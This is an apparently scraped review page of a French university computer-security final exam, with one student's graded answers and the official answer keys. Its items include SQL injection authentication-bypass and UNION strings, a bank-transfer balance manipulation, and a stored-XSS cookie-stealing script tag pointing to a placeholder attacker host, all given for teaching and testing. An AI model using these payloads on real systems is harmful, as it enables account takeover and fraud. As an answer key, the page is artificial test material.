

[Tableau de bord](#) / [Mes cours](#) / [INF4420A - Sécurité informatique](#) / [Hiver 2022 Examen Final INF4420A](#) / [Hiver 2022 Examen Final](#)

Commencé le vendredi 6 mai 2022, 09:30

État Terminé

Terminé le vendredi 6 mai 2022, 11:59

Temps mis 2 heures 29 min

Points 29,45/40,00

Note 7,36 sur 10,00 (74%)

Question 1

Correct

Note de 1,00 sur 1,00

Cryptographie : Question 1

Dans l'algorithme à clé publique RSA, la construction de la clé repose sur le produit de deux grands nombres premiers. Quel est l'algorithme le plus couramment utilisé pour déterminer si un très grand nombre est premier ?

- ☐ a. L'algorithme de Diffie-Hellman
- ☐ b. Le test de primalité probabiliste Miller-Rabin
- ☐ c. L'algorithme d'Euclide
- ☒ d. Le crible d'Ératosthène ✖

Votre réponse est correcte.

Voir slide 7 du cours "Sécurité réseau #3"

Pour déterminer si un très grand nombre est premier, la bonne réponse "Le test de primalité probabiliste Miller-Rabin".

"Le crible d'Ératosthène" est l'algorithme standard pour déterminer si un nombre est premier mais sera beaucoup trop coûteux sur les grands nombres.

Cependant, nous avons accordé les points à ceux qui ont répondu "Le crible d'Ératosthène" à cette question.

La réponse correcte est :

Le test de primalité probabiliste Miller-Rabin

Commentaire :

Question 2

Correct

Note de 1,00 sur 1,00

Cryptographie : Question 2

Je suis un algorithme utilisable en informatique quantique qui permet de rechercher un élément qui satisfait un critère donné parmi N éléments en temps proportionnel à $N^{1/2}$ (racine de N). Lorsque cet algorithme sera utilisable, il sera nécessaire de multiplier par 2 la longueur des clés utilisées dans les algorithmes de chiffrement symétrique comme AES. Qui suis-je ?

- ☐ a. L'algorithme de Pollard
- ☒ b. L'algorithme de Grover ✓
- ☐ c. Aucune de ses réponses, l'informatique quantique n'a pas d'effet sur les algorithmes de chiffrement symétrique
- ☐ d. L'algorithme de Shor

Votre réponse est correcte.

La réponse correcte est :

L'algorithme de Grover

Question 3

Incorrect

Note de 0,00 sur 1,00

Cryptographie : Question 3

En informatique quantique, il est théoriquement possible de factoriser un nombre naturel N en temps $O(\log^3 N)$. Le cours indique que le jour où un ordinateur quantique sera suffisamment puissant, il sera possible de casser une clé RSA en temps $O(N^3)$ où N est la longueur de la clé. Laquelle des affirmations suivantes est correcte ?

- ☐ a. On ne parle pas du même algorithme
- ☒ b. La bonne réponse est $O(2^{N/3})$ où N est la longueur de la clé ✗
- ☐ c. Cela revient au même
- ☐ d. Les informations du cours ne sont plus d'actualité

Votre réponse est incorrecte.

Casser une clé RSA repose la factorisation du nombre qui a servi à calculer la clé.

Si N est la longueur de la clé de chiffrement, alors le nombre qui a servi à calculer la clé est de l'ordre de 2^N .

Comme $\log_2(2^N) = N$, les deux résultats sont équivalents.

La bonne réponse est donc "Cela revient au même".

La réponse correcte est :

Cela revient au même

Question 4

Correct

Note de 1,00 sur 1,00

Cryptographie : Question 4

En chiffrant deux fois un message en utilisant des clés AES différentes de longueur 128 bits, on obtient théoriquement un chiffrement équivalent à un message chiffré avec une clé de longueur :

- ☐ a. 128 bits
- ☒ b. 129 bits ✓
- ☐ c. 192 bits
- ☐ d. 256 bits

Votre réponse est correcte.

La réponse correcte est :
129 bits

Question 5

Incorrect

Note de 0,00 sur 1,00

Force d'un mot de passe : Question 1

On considère un générateur GEN1 de mots de passe qui génère un mot de passe composé de 6 lettres (lettres minuscules de a à z ou lettres majuscules de A à Z) choisies de façon complètement aléatoire.

On suppose que l'attaquant connaît le fonctionnement de ce générateur de mots de passe.

On suppose également que l'attaquant peut tester 10000 mots de passe à la seconde.

Au bout de 10 heures, quelles sont les chances de casser le mot de passe généré par ce générateur ?

- ☐ a. 54,95%
- ☒ b. 0,0182% ✗
- ☐ c. 100%
- ☐ d. 1,82%

Votre réponse est incorrecte.

Nombre de possibilités pour casser le mot de passe :

$$52^6 = 19\,770\,609\,664 \text{ possibilités}$$

Nombre de mots de passe testés en 10 heures :

$$10000 * 3600 * 10 = 360\,000\,000$$

Probabilité de casser le mot de passe de 10 heures :

$$360\,000\,000 / 19\,770\,609\,664 = 0,0182 = 1,82\%$$

La réponse correcte est :
1,82%

Question 6

Correct

Note de 1,00 sur 1,00

Force d'un mot de passe : Question 2

On considère le générateur GEN1 de mots de passe identique à celui utilisé dans la question précédente.

On suppose que l'attaquant connaît le fonctionnement de ce générateur de mots de passe.

On suppose également que l'attaquant peut tester 10000 mots de passe à la seconde.

De combien d'heures l'attaquant a-t-il besoin pour avoir 60% de chance de casser le mot de passe ?

- ☒ a. 329,51 heures ✓
- ☐ b. 8,58 heures
- ☐ c. 549,18 heures
- ☐ d. 5,15 heures

Votre réponse est correcte.

Réponse question 2 :

Nombre de possibilités pour casser le mot de passe :

$$52^6 = 19\,770\,609\,664 \text{ possibilités}$$

Nombre de mots de passe testés en 1 heure :

$$10000 * 3600 = 36\,000\,000$$

Nombre d'heures nécessaires pour avoir 60% de casser le mot de passe :

$$0,6 * 19\,770\,609\,664 / 36\,000\,000 = 329,51 \text{ heures}$$

La réponse correcte est :

329,51 heures

Question 7

Correct

Note de 1,00 sur 1,00

Force d'un mot de passe : Question 3

On considère un second générateur GEN2 qui génère un mot de passe composé de 7 caractères : un chiffre (0 à 9) puis 5 lettres (lettres minuscules de a à z ou lettres majuscules de A à Z) et enfin un chiffre (0 à 9). Les chiffres et les lettres sont choisis de façon complètement aléatoire.

Quelle est l'entropie d'un mot de passe généré par GEN2 ?

- ☒ a. 35,15 bits ✓
- ☐ b. 30,15 bits
- ☐ c. 5,70 bits
- ☐ d. 31,82 bits

Votre réponse est correcte.

Réponse question 3

Nombre de possibilités pour casser le second mot de passe :

$$10 * 52^5 * 10 = 38\,020\,403\,200 \text{ possibilités}$$

Entropie du mot de passe :

$$\text{Log}_2(38\,020\,403\,200) = 35,15 \text{ bits}$$

La réponse correcte est :

35,15 bits

Question 8

Correct

Note de 1,00 sur 1,00

Force d'un mot de passe : Question 4

On considère le générateur GEN2 de mots de passe identique à celui utilisé dans la question précédente.

On suppose que l'attaquant connaît le fonctionnement de ce générateur de mots de passe.

On suppose également que l'attaquant peut tester 10000 mots de passe à la seconde.

De combien d'heures l'attaquant a-t-il besoin pour avoir 60% de chance de casser le mot de passe ?

- ☐ a. 63,37 heures
- ☐ b. 1056,12 heures
- ☒ c. 633,67 heures ✓
- ☐ d. 19,80 heures

Votre réponse est correcte.

Réponse question 4 :

Nombre de possibilités pour casser le mot de passe :

$$10 * 52^5 * 10 = 38\,020\,403\,200 \text{ possibilités}$$

Nombre de mots de passe testés en 1 heure :

$$10000 * 3600 = 36\,000\,000$$

Nombre d'heures nécessaires pour avoir 60% de casser le mot de passe :

$$0,6 * 38\,020\,403\,200 / 36\,000\,000 = 633,67 \text{ heures}$$

La réponse correcte est :

633,67 heures

Question 9

Terminer

Note de 0,50 sur 2,00

Force d'un mot de passe : Question 5

On considère un générateur GEN3 de mot de passe qui génère un mot de passe composé de 7 caractères : un chiffre (0 à 9) puis 5 lettres (lettres minuscules de a à z ou lettre majuscules de A à Z) et enfin un chiffre (0 à 9). Les lettres sont choisies de façon complètement aléatoire. Les chiffres ne sont pas générés de façon aléatoire : il y a 40% de chance qu'il s'agisse d'un 0 et 40% de chance pour qu'il s'agisse d'un 1.

On suppose que l'attaquant connaît le fonctionnement de ce générateur de mots de passe.

On suppose également que l'attaquant peut tester 10000 mots de passe à la seconde.

De combien d'heures l'attaquant a-t-il besoin pour avoir 60% de chance de casser le mot de passe ?

Au bout de 10 heures, quelles sont les chances de casser le mot de passe généré par ce générateur ?

Justifier vos réponses par le calcul.

entropie :

les 5 caractères : $5 * \log_2(52) = 28.50219859$

les 2 chiffres : $2 * (2 * 0.4 * \log_2(1/0.4) + 8 * 0.2 * \log_2(1/0.2)) = 9.545254855$

entropie du mot de passe : $28.50 + 9.55 = 38.04745345$

$2^{38.047} / 10000 = 28398032.05$ secondes

$x / 28398032.05 = 0.60$

$x = 4733.0053$ heures

pour avoir 60% de chance de casser le mot de passe, il faut 4733 heures

$36000 / 28406959.17 = 1.27 * 10^{-3}$

les chances au bout de 10 heures sont 0.001%

Réponse question 5 :

Nombre de possibilités pour casser un mot de passe composé de 0 ou de 1 :

$2 * 2 * 52^5 = 1\,520\,816\,128$ possibilités

Comme la probabilité d'apparition d'un 0 ou d'un 1 sont égales, toutes ces possibilités sont équiprobables.

La probabilité que le premier chiffre du mot de passe soit un 0 ou un 1 est de $40 + 40 = 80\%$.

En testant toutes ces possibilités, l'attaquant a $80\% * 80\% = 64\%$ de chance de casser le mot de passe.

Pour avoir 60% de casser le mot de passe, il suffit que l'attaquant teste :

$1\,520\,816\,128 * 60 / 64 = 1\,425\,765\,120$ possibilités

Nombre de mots de passe testés en 1 heure :

$10000 * 3600 = 36\,000\,000$

Nombre d'heures nécessaires pour avoir 60% de casser le mot de passe :

$1\,425\,765\,120 / 36\,000\,000 = 39,60$ heures

Nombre de mots de passe testés en 10 heures :

$10000 * 3600 * 10 = 360\,000\,000$

Probabilité de casser le mot de passe en 10 heures :

$360\,000\,000 / 1\,520\,816\,128 * 0,64 = 0,1515 = 15,15\%$

Commentaire :

Question **10**

Incorrect

Note de 0,00 sur 1,00

Force d'un mot de passe : Question 6

On considère le générateur GEN3 de mots de passe identique à celui utilisé dans la question précédente.

On suppose que l'attaquant connaît le fonctionnement de ce générateur de mots de passe.

On suppose également que l'attaquant peut tester 10000 mots de passe à la seconde.

De combien d'heures l'attaquant a-t-il besoin pour avoir 100% de chance de casser le mot de passe ?

- ☐ a. Identique au nombre d'heures pour avoir 100% de chance de casser GEN1
- ☐ b. Réponse à la question précédente multipliée par 3/5
- ☐ c. Identique au nombre d'heures pour avoir 100% de chance de casser GEN2
- ☒ d. Réponse à la question précédente multipliée par 5/3 ✖

Votre réponse est incorrecte.

La réponse correcte est :

Identique au nombre d'heures pour avoir 100% de chance de casser GEN2

Question 11

Terminer

Note de 2,00 sur 2,00

Autorisation

Dans la politique discrétionnaire résumée dans le tableau suivant, le sujet S3 ne doit pas avoir accès au contenu des fichiers F2 et F3.

Présenter un scénario qui permettrait au sujet S3 d'accéder au contenu de F2.

Présenter un scénario qui permettrait au sujet S3 d'accéder au contenu de F3.

	F1	F2	F3
S1	R	W	RW
S2	RW	R	W
S3	R	-	-

S3 peut accéder au contenu de F2 de cette manière :

application piégée exécutée par S2. L'application s'exécute avec les droits de S2. L'application peut lire F2 et recopier le contenu dans F1. S3 peut alors lire F1 et récupérer le contenu de F2.

S3 ne peut pas accéder directement au contenu de F3 car S3 peut juste lire F1, il n'y a que S1 qui peut lire F3 mais S1 ne peut pas écrire dans F1. Un scénario possible par contre est de piéger S1 par une application piégée. L'application s'exécute avec les droits de S1. L'application peut lire F3 et recopier le contenu dans F2. Avec une autre application piégée exécutée par S2. L'application s'exécute avec les droits de S2. L'application peut lire F2 et recopier le contenu dans F1. S3 peut alors lire F1 et récupérer le contenu de F2.

Scénario 1 pour que le sujet S3 accède au contenu de F2 : S2 exécute une application A2 piégée par S3. L'application s'exécute avec les droits de S2. L'application peut lire F2 et recopier le contenu dans F1. S3 peut alors lire F1 et récupérer le contenu de F2.

Scénario 2 pour que le sujet S3 accède au contenu de F3 : S1 exécute une application A1 piégée par S3. L'application s'exécute avec les droits de S1. L'application peut lire F3 et recopier le contenu dans F2. Ensuite, il faut que S2 exécute l'application A2. A la fin, S3 peut alors lire F1 et récupérer ainsi le contenu de F1.

Commentaire :

Question 12

Correct

Note de 1,00 sur 1,00

Protocole SSL-TLS

Dans le protocole SSL-TLS, la combinaison du chiffrement asymétrique et du chiffrement symétrique est un exemple de défense en profondeur

Sélectionnez une réponse :

- ☐ Vrai
- ☒ Faux ✓

La réponse correcte est « Faux ».

Question 13

Correct

Note de 1,00 sur 1,00

Injection SQL : Question 1

Un script lance la requête « SELECT * FROM users WHERE (login=\$login AND pwd="\$pwd") ; » et l'authentification est réussie si au moins un enregistrement est retourné. Laquelle de ces injections permet de contourner l'authentification :

login: « 1234 » / pwd: « blabla") OR ("a"="a »	Authentification contournée	✓
login : « 1234 » / pwd : « blabla OR 1=1 »	Requête bien formée mais authentification refusée	✓
login: « 1234 » / pwd: « blabla") OR (1=1 »	Requête mal formée	✓
login: « 1234 » / pwd: « blabla") OR (1=1 OR pwd = "blabla »	Authentification contournée	✓

Votre réponse est correcte.

SELECT * FROM users WHERE (login=1234 AND pwd="blabla OR 1=1") ;

• Requête bien formée et WHERE évalué à faux = authentification refusée

SELECT * FROM users WHERE (login=1234 AND pwd= "blabla") OR (1=1") ;

• Requête mal formée « (1=1") »

SELECT * FROM users WHERE (login=1234 AND pwd="blabla") OR (1=1 OR pwd = "blabla") ;

• Requête bien formée et WHERE évalué à vrai = authentification contournée

SELECT * FROM users WHERE (login=1234 AND pwd= "blabla") OR ("a"="a") ;

Requête bien formée et WHERE évalué à vrai = authentification contournée

La réponse correcte est :

login: « 1234 » / pwd: « blabla") OR ("a"="a » → Authentification contournée,

login : « 1234 » / pwd : « blabla OR 1=1 » → Requête bien formée mais authentification refusée,

login: « 1234 » / pwd: « blabla") OR (1=1 » → Requête mal formée,

login: « 1234 » / pwd: « blabla") OR (1=1 OR pwd = "blabla » → Authentification contournée

Question 14

Terminer

Note de 0,25 sur 2,00

Injection SQL : Question 2

En SQL, la requête Update permet de mettre à jour une table dans une base de données relationnelle. La syntaxe est la suivante :

```
UPDATE table_name
```

```
SET column1 = value1, column2 = value2..., columnN = valueN
```

```
WHERE [condition];
```

Par exemple :

```
UPDATE Client SET ADDRESS = 'Montreal' WHERE ID_Client = 6;
```

Une application bancaire permet de faire un transfert d'un compte cpt1 vers un autre compte cpt2.

Pour cela, le client sélectionne d'abord l'identificateur du compte cpt1 dans une liste déroulante et ensuite l'identificateur du compte cpt2 dans la même liste déroulante.

Le client saisit ensuite le montant à transférer au clavier.

L'application exécute ensuite un script qui exécute les deux commandes SQL suivantes :

```
UPDATE Compte SET Solde_compte = Solde_compte - $montant WHERE ID_Compte = $cpt1 ;
```

```
UPDATE Compte SET Solde_compte = Solde_compte + $montant WHERE ID_Compte = $cpt2 ;
```

Proposer une attaque qui vous permet de fixer le solde d'un de vos comptes à n'importe quel montant, par exemple 30000\$, sans qu'aucun autre de vos comptes ne soit débité.

Quels types de contrôles pourrait mettre en place la banque pour éviter cette attaque ?

Une fois l'authentification est contournée, on peut envoyer une commande sql qui permet de update le solde du compte, par exemple :

```
UPDATE Compte SET Solde_compte = 30000 WHERE ID_Compte = $cpt ;
```

Réponse question 2 :

Sélectionner deux fois le même compte cpt1 = cpt2 dans la liste déroulante

Saisir (Solde_compte - 30000) comme montant au clavier

Après le premier Update, $\text{Solde_compte} = \text{Solde_compte} - (\text{Solde_compte} - 30000) = 30000$

Après le second Update, $\text{Solde_compte} = \text{Solde_compte} + (\text{Solde_compte} - 30000) = 30000$

Pour éviter cette attaque, la banque doit vérifier que le compte cpt2 sélectionnée par l'utilisateur est bien différent du compte cpt1.

Commentaire :

Question 15

Correct

Note de 1,00 sur 1,00

SQL Injection : Question 3

Dans la même banque, une application permet à un client, une fois authentifié, de consulter les transactions effectuées sur ses comptes.

Pour cela, le client peut sélectionner un de ses comptes cpt dans une liste déroulante et ensuite saisir au clavier un montant de transaction.

```
SELECT Id_Compte, Id_transaction, Montant_transaction FROM Compte_transaction WHERE (Id_Compte = $cpt AND Montant_transaction >= $Montant) ;
```

Un client souhaite connaître les transactions réalisées sur le compte 12345 auquel il n'a pas accès.

Laquelle de ces injections lui permet d'avoir accès aux transactions réalisées sur le compte 12345.

- ☐ a. \$Montant = « 0) UNION (SELECT Id_transaction, Montant_transaction FROM Compte_transaction WHERE (Id_Compte = 12345 AND Montant_transaction >= 0 »
- ☐ b. \$Montant = « 0) OR (Id_Compte = 12345 AND Montant_transaction >= 0 »
- ☐ c. \$Montant = « 0 AND 1 = 2) OR (Id_Compte = 12345 AND Montant_transaction >= 0 »
- ☒ d. Les trois réponses ci-dessus permettent d'accéder au compte 12345 ✓

Votre réponse est correcte.

La réponse correcte est :

Les trois réponses ci-dessus permettent d'accéder au compte 12345

Question 16

Partiellement correct

Note de 1,60 sur 2,00

Configuration d'un pare-feu NetFilter/IPTables : Question 1

Une entreprise souhaite donner l'accès à un serveur Web via HTTPS (port 443).

Le serveur Web est sur le réseau local de l'entreprise à l'adresse privée 192.168.1.10

L'accès à ce serveur est filtré par un pare-feu Netfilter. Le pare-feu a deux interfaces réseau :

- eth0 à l'adresse publique 155.140.140.1
- eth1 à l'adresse privée 192.168.1.1

Vous devez configurer ce pare-feu pour donner accès au serveur Web.

Indiquez les règles IPTables qui sont correctes :

iptables -A FORWARD -i eth0 -o eth1 -p tcp --dport 443 -m state --state NEW, ESTABLISHED -j ACCEPT

Règle correcte



iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.10:443

Règle incorrecte



iptables -A FORWARD -i eth1 -o eth0 -s 192.168.1.10 -sport 443 -m state --state NEW, ESTABLISHED -j ACCEPT

Règle incorrecte



iptables -t nat -A POSTROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.10:443

Règle incorrecte



iptables -A INPUT -i eth0 -o eth1 -p tcp --dport 443 -m state --state NEW, ESTABLISHED -j ACCEPT

Règle incorrecte



Votre réponse est partiellement correcte.

Vous en avez sélectionné correctement 4.

La réponse correcte est :

iptables -A FORWARD -i eth0 -o eth1 -p tcp --dport 443 -m state --state NEW, ESTABLISHED -j ACCEPT → Règle correcte,

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.10:443 → Règle correcte,

iptables -A FORWARD -i eth1 -o eth0 -s 192.168.1.10 -sport 443 -m state --state NEW, ESTABLISHED -j ACCEPT → Règle incorrecte,

iptables -t nat -A POSTROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.10:443 → Règle incorrecte,

iptables -A INPUT -i eth0 -o eth1 -p tcp --dport 443 -m state --state NEW, ESTABLISHED -j ACCEPT → Règle incorrecte

Question 17

Partiellement correct

Note de 1,60 sur 2,00

Configuration d'un pare-feu NetFilter/IPTables : Question 2

Une entreprise souhaite donner l'accès à un serveur via IPSEC.

Le serveur est sur le réseau local de l'entreprise à l'adresse privée 192.168.1.11

Comme dans la question précédente, l'accès à ce serveur est filtré par un pare-feu Netfilter. Le pare-feu a deux interfaces réseau :

- eth0 à l'adresse publique 155.140.140.1
- eth1 à l'adresse privée 192.168.1.1

Vous devez configurer ce pare-feu pour donner accès au serveur IPSEC.

Voici les informations utiles :

- La négociation des clés entre le client et le serveur se fait via le protocole IKE (Internet Key Exchange). IKE ouvre une connexion UDP de et vers le port 500.
- Lorsque le mode transport d'IPSEC est utilisé, il est nécessaire d'utiliser l'encapsulation NAT-T (NAT Traversal) pour encapsuler le paquet IPSEC. NAT-T utilise une connexion UDP sur le port 4500.
- Une fois la négociation des clés établie, IPSEC peut utiliser le protocole ESP (Encapsulating Security Payload), pour assurer la confidentialité des données (protocole 50 au-dessus de la couche réseau).
- Une fois la négociation des clés établie, IPSEC peut également utiliser le protocole AH (Authentication Header), pour assurer l'intégrité et l'authentification (protocole 51 au-dessus de la couche réseau).

Indiquez les règles IPTables qui sont correctes :

`iptables -t nat -A POSTROUTING -i eth1 -p udp --dport 4500 -s 192.168.1.11 -j MASQUARADE`

Règle incorrecte



`iptables -A FORWARD -i eth0 -o eth1 -p udp --dport 500 -m state --state NEW, RELATED -j ACCEPT`

Règle correcte



`iptables -A FORWARD -p ah -j ACCEPT`

Règle correcte



`iptables -t nat -A PREROUTING -i eth0 -p udp --dport 500 -j DNAT --to-destination 192.168.1.11:500`

Règle correcte



`iptables -A FORWARD -p esp -j ACCEPT`

Règle correcte



`iptables -t nat -A PREROUTING -i eth0 -p udp --dport 4500 -j DNAT --to-destination 192.168.1.11:4500`

Règle correcte



`iptables -t nat -A POSTROUTING -i eth1 -p udp --dport 500 -s 192.168.1.11 -j SNAT -to-source 155.140.140.1`

Règle incorrecte



`iptables -t nat -A POSTROUTING -i eth1 -p udp --dport 500 -s 155.140.140.1 -j SNAT -to-source 192.168.1.11`

Règle incorrecte



`iptables -t nat -A POSTROUTING -i eth1 -p udp --dport 4500 -s 192.168.1.11 -j SNAT -to-source 192.168.1.1`

Règle incorrecte



`iptables -t nat -A PREROUTING -i eth1 -p udp --dport 500 -s 192.168.1.11 -j SNAT -to-source 155.140.140.1`

Règle incorrecte



Votre réponse est partiellement correcte.

Vous en avez sélectionné correctement 8.

La réponse correcte est :

iptables -t nat -A POSTROUTING -i eth1 -p udp --dport 4500 -s 192.168.1.11 -j MASQUARADE → Règle correcte,

iptables -A FORWARD -i eth0 -o eth1 -p udp --dport 500 -m state --state NEW, RELATED -j ACCEPT → Règle correcte,

iptables -A FORWARD -p ah -j ACCEPT → Règle correcte,

iptables -t nat -A PREROUTING -i eth0 -p udp --dport 500 -j DNAT --to-destination 192.168.1.11:500 → Règle correcte,

iptables -A FORWARD -p esp -j ACCEPT → Règle correcte,

iptables -t nat -A PREROUTING -i eth0 -p udp --dport 4500 -j DNAT --to-destination 192.168.1.11:4500 → Règle correcte,

iptables -t nat -A POSTROUTING -i eth1 -p udp --dport 500 -s 192.168.1.11 -j SNAT --to-source 155.140.140.1 → Règle correcte,

iptables -t nat -A POSTROUTING -i eth1 -p udp --dport 500 -s 155.140.140.1 -j SNAT --to-source 192.168.1.11 → Règle incorrecte,

iptables -t nat -A POSTROUTING -i eth1 -p udp --dport 4500 -s 192.168.1.11 -j SNAT --to-source 192.168.1.1 → Règle incorrecte,

iptables -t nat -A PREROUTING -i eth1 -p udp --dport 500 -s 192.168.1.11 -j SNAT --to-source 155.140.140.1 → Règle incorrecte

Question 18

Correct

Note de 1,00 sur 1,00

Le principe du SYN flooding consiste à submerger un serveur de requêtes TCP qui seront volontairement laissées dans un état semi-ouvert (plus précisément l'état SYN_RECV dans lequel est un serveur qui a reçu un SYN mais attend toujours le ACK correspondant) afin de consommer un maximum de ressources sur la cible.

Que se passe-t-il lorsqu'un client légitime essaie de se connecter au serveur victime de cette attaque ?

- ☐ a. la requête du client légitime sera traitée en priorité
- ☐ b. le client légitime sera renvoyé sur un autre serveur TCP
- ☐ c. le client légitime reçoit un flag de mise en attente
- ☒ d. le client légitime n'aura pas de réponse du serveur ✓

Votre réponse est correcte.

La réponse correcte est :

le client légitime n'aura pas de réponse du serveur

Question 19

Correct

Note de 1,00 sur 1,00

Qu'est-ce qu'une politique de sécurité fermée (closed policy) ?

- ☐ a. tout est permis
- ☐ b. tout est interdit
- ☒ c. tout ce qui n'est pas explicitement permis est interdit ✓
- ☐ d. tout ce qui n'est pas explicitement interdit est permis

Votre réponse est correcte.

La réponse correcte est :

tout ce qui n'est pas explicitement permis est interdit

Question 20

Partiellement correct

Note de 0,50 sur 1,00

Pour quelle raison une politique par défaut est recommandée ? (plusieurs réponses possibles)

- ☐ a. S'assurer que le nombre de règles est toujours pair
- ☒ b. Réduire le nombre de règles ✓
- ☒ c. Ordonner les règles ✗
- ☒ d. Eviter des flux oubliés non souhaités ✓

Votre réponse est partiellement correcte.

Vous avez sélectionné trop d'options.

Les réponses correctes sont :

Réduire le nombre de règles,

Eviter des flux oubliés non souhaités

Question 21

Correct

Note de 1,00 sur 1,00

L'injection de code SQL permet de provoquer un débordement de pile.

Sélectionnez une réponse :

- ☐ Vrai
- ☒ Faux ✓

La réponse correcte est « Faux ».

Question 22

Correct

Note de 1,00 sur 1,00

Pour limiter les vulnérabilités de type XSS, le développeur du site Web doit :

- ☒ a. Veiller à ce que toutes les pages du site Web acceptant des données saisies par l'utilisateur filtrent les entrées de code, ✓
comme par exemple le HTML.
- ☐ b. Rechercher les vulnérabilités en injection de code SQL et les corriger
- ☐ c. Eviter de mettre à jour le logiciel du site Web de façon récurrente
- ☐ d. Propositions b et c

Votre réponse est correcte.

La réponse correcte est :

Veiller à ce que toutes les pages du site Web acceptant des données saisies par l'utilisateur filtrent les entrées de code, comme par exemple le HTML.

Question 23

Correct

Note de 1,00 sur 1,00

Soit l'attaque suivante : Lorsque vous naviguez sur un site de e-commerce, un malveillant peut identifier une vulnérabilité qui lui permet d'intégrer des balises HTML dans la section des commentaires du site. Une fois intégrées, ces balises deviennent un composant permanent de la page, ce qui amène le navigateur à les inclure avec le reste du code source chaque fois que la page est ouverte. Un exemple de ce que pourrait intégrer le malveillant pourrait être : Excellent documentaire, lire mon avis complet ici `<script src="http://attackersite.com/authstealer.js"> </script>`. Par la suite, chaque fois qu'un utilisateur accède à la page, la balise HTML dans les commentaires activera un JavaScript, qui sera hébergé sur un autre site et volera les cookies de session du visiteur. S'agit-il d'une attaque :

- ☐ a. En authentification vouée à l'échec
- ☐ b. XSS (Cross-Site Scripting) non persistant
- ☒ c. XSS (Cross-Site Scripting) persistant ✓
- ☐ d. CRSF (Cross-site Request Forgery)

Votre réponse est correcte.

La réponse correcte est :

XSS (Cross-Site Scripting) persistant

Question 24

Correct

Note de 1,00 sur 1,00

Les flux chiffrés permettent d'éviter des attaques de l'homme du milieu.

Sélectionnez une réponse :

- ☐ Vrai
- ☒ Faux ✓

La réponse correcte est « Faux ».

Question 25

Incorrect

Note de 0,00 sur 1,00

RBAC : Question 1

On vous a demandé de concevoir un système de contrôle d'accès pour le département d'informatique d'une université.

Supposons que le département compte 36 membres. Deux d'entre eux occupent des postes de responsabilité, une directrice du département et un directeur adjoint à qui vous avez décidé d'attribuer le rôle de « Dir ». Les 34 restants sont des professeurs à qui vous avez décidé d'attribuer le rôle de « Prof ».

Les objets à protéger se répartissent dans 4 répertoires : EvaluationPerformance, CoursDpt, ConseilAcadémique, CommitésDpt.

La directrice et le directeur adjoint ont un accès en lecture à ConseilAcadémique et en lecture et écriture à tous les autres répertoires. Le personnel professoral n'a pas accès à EvaluationPerformance, mais a un accès en lecture à CommitésDpt et des accès en lecture et écriture à CoursDpt et ConseilAcadémique. Cela est résumé dans la matrice suivante :

	EvaluationPerformance	CoursDpt	ConseilAcadémique	CommitésDpt
Dir	RW	RW	R	RW
Prof	-	RW	RW	R

Est-ce que la directrice du département hérite des privilèges du directeur adjoint ?

- ☐ a. Non
- ☒ b. Oui ✖

Votre réponse est incorrecte.

La réponse correcte est :

Non

Question **26**

Correct

Note de 1,00 sur 1,00

RBAC : Question 2

Qu'est-ce qui doit être modifié dans la politique d'autorisation pour que la directrice du département et le directeur adjoint puissent hériter des permissions du personnel professoral ?

☐ a.

	EvaluationPerformance	CoursDpt	ConseilAcadémique	CommitésDpt
Directeur	RW	RW	R	RW
Prof	-	RW	RW	RW

☐ b.

	EvaluationPerformance	CoursDpt	ConseilAcadémique	CommitésDpt
Directeur	RW	RW	R	RW
Prof	-	RW	RW	W

☒ c.

	EvaluationPerformance	CoursDpt	ConseilAcadémique	CommitésDpt
Directeur	RW	RW	R	RW
Prof	-	RW	R	R

Votre réponse est correcte.

La réponse correcte est :

	EvaluationPerformance	CoursDpt	ConseilAcadémique	CommitésDpt
Directeur	RW	RW	R	RW
Prof	-	RW	R	R

Question **27**

Incorrect

Note de 0,00 sur 1,00

Dans le modèle obligatoire de Bell & Lapadula un utilisateur d'habilitation « confidentiel » peut écrire dans un document de classification « secret », sachant que secret > confidentiel.

Sélectionnez une réponse :

- ☐ Vrai
- ☒ Faux 

La réponse correcte est « Vrai ».

Question 28

Incorrect

Note de 0,00 sur 1,00

Vous avez téléchargé une application infectée par un virus qui exfiltre des données à votre insu. Votre système hôte est configuré avec une politique de type MAC (No-read-up, No-write-down) qui gère trois niveaux d'habilitation et de classification : secret, confidentiel et public, avec secret > confidentiel > public. Dans ce système hôte vous êtes habilité confidentiel. Le virus :

- ☐ a. Ne pourra pas transférer des documents confidentiels vers le niveau public
- ☐ b. Pourra lire les documents secrets
- ☐ c. Pourra modifier les documents confidentiels
- ☐ d. Ne pourra pas transférer des documents confidentiels vers le niveau public
- ☒ e. Ne pourra faire aucune action ❌

Votre réponse est incorrecte.

La réponse correcte est :

Pourra modifier les documents confidentiels

Question 29

Correct

Note de 1,00 sur 1,00

Laquelle de ces affirmations est vraie. Un pare-feu en mode personnel :

- ☒ a. N'a pas besoin de faire du NAT même si la machine hôte possède une adresse IP privée ✔
- ☐ b. Ne peut pas appliquer des règles de filtrage à états (« stateful »)
- ☐ c. Ne peut filtrer que le trafic entrant sur la machine hôte
- ☐ d. Ne peut pas être installé sur une machine hôte qui possède une seule carte réseau

Votre réponse est correcte.

La réponse correcte est :

N'a pas besoin de faire du NAT même si la machine hôte possède une adresse IP privée

Question 30

Correct

Note de 1,00 sur 1,00

Evil.com est un serveur malveillant qui essaye de se faire passer pour le site légitime Charlie.com. Lorsque le browser de Aline se connecte en HTTPS sur le site Web Evil.com, Evil.com lui présente le certificat valide du site Charlie.com. Dans ce cas, le browser d'Aline va vérifier le certificat et détecter que Evil.com a usurpé le certificat de Charlie.com. Le browser va rejeter le certificat et indiquer un message d'erreur à l'utilisateur.

Sélectionnez une réponse :

- ☒ Vrai ✓
- ☐ Faux

La réponse correcte est « Vrai ».

Question 31

Correct

Note de 1,00 sur 1,00

Laquelle de ces méthodes ne constitue pas un exemple de facteur d'authentification de quelque chose qu'on possède (jeton d'authentification)

- ☐ a. Une carte à puce sans contact utilisée pour autoriser une transaction bancaire
- ☐ b. Une clé métallique utilisée dans une serrure qui permet le démarrage d'un ordinateur de bureau
- ☒ c. Un téléphone portable intelligent utilisé pour prendre une photo du visage de l'utilisateur, qui est envoyée à un serveur par Internet pour authentifier l'utilisateur ✓
- ☐ d. Un téléphone portable intelligent utilisé pour générer un mot de passe à usage unique

Votre réponse est correcte.

La réponse correcte est :

Un téléphone portable intelligent utilisé pour prendre une photo du visage de l'utilisateur, qui est envoyée à un serveur par Internet pour authentifier l'utilisateur

